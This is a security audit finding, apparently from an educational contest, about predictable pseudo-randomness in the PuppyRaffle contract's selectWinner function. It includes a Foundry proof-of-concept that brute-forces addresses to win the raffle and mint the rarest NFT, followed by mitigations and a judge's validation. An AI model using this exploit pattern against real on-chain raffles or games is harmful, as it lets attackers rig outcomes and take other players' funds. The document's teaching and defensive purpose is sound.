Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Implementation of Pseudo-randomness in `PuppyRaffle::selectWinner` Allow Hacker to Predict Winner and Rarity of NFT

Summary

It's a common practice from developers to hash validator-defined values like block.difficulty and block.timestamp for the purpose to use them as Random Number Generators, but this source is not actual randomness and can be exploited if there is enough incentive.

Vulnerability Details

A malicious strategist can generate accounts to figure out in advance which ones will generate a winner with the rarest Puppy. Then he can wait for the raffle to end to execute two transactions:

  1. To enter the raffle with the array of addresses owned by him
  2. Call selectWinner

For the attack to be successful the hacker needs to know he length of the array that he needs to create to make sure the RNGs will select one of this addresses.

Proof of Concept

Assume a hacker created a bot with a script that will wait for the raffle to end to perform the following tasks:

  1. Read the amount of players in the raffle
  2. Create the array of addresses owned by him
  3. Enter the raffle
  4. Select a winner

Paste and execute the following code snippet in PuppyRaffleTest.t.sol to attack the raffle.

Attack flow
address[] public playersOwnedByHacker;
uint256 public constant OFFSET = 4;
function test_exploit_pseudo_randomness() public playersEntered {
// wait for raffle to end
vm.warp(block.timestamp + duration);
vm.roll(block.number + 1);
// read the number of players in the raffle
uint256 numOfPlayers = uint256(vm.load(address(puppyRaffle), bytes32(uint256(11)))); // 11 is the slot of the `players` array
// runs a loop to find a combination of adresses (caller and winner) owned by the hacker that will generate a winner with the rarest NFT
for(uint256 i = numOfPlayers + 1; i < 100; i++) {
playersOwnedByHacker.push(address(i));
// exploit pseudo-randonmess to predict the index of the winner
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(address(i), block.timestamp, block.difficulty))) % i;
// address 0 to 4 are already players
uint256 rarity = uint256(keccak256(abi.encodePacked(address(i), block.difficulty))) % 100;
if(winnerIndex > numOfPlayers && rarity > 95) {
vm.deal(address(i), entranceFee * playersOwnedByHacker.length);
vm.startPrank(address(i), address(i));
puppyRaffle.enterRaffle{value: entranceFee * playersOwnedByHacker.length}(playersOwnedByHacker);
puppyRaffle.selectWinner();
// assertions
assertEq(puppyRaffle.previousWinner(), playersOwnedByHacker[winnerIndex - OFFSET]);
assertEq(puppyRaffle.tokenIdToRarity(0), puppyRaffle.LEGENDARY_RARITY());
assertEq((puppyRaffle.previousWinner()).balance, (entranceFee * (playersOwnedByHacker.length + numOfPlayers) * 80) / 100);
break;
}
}
}

Impact

Game broken, hackers can become the winners as many times as they want and get the rarest NFT.

Tools Used

VS Code and Foundry.

Recommendations

There are a few things that can be done to mitigate, reduce the attack surface:

  1. Implement an access control check in `enterRaffle` to prevent player from entering the game after it finished
  2. Refactor `selectWinner` to use real a source of randomness e.g. Chainlink VRF
  3. Implement a Hash-Commit reveal mechanism in which players pick a number and enter the raffle with a commitment that consist of a hash of the number and their addresses, then in `selectWinner` the user will enter their number and the function will generate the hash and verify if it matches their commitment
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!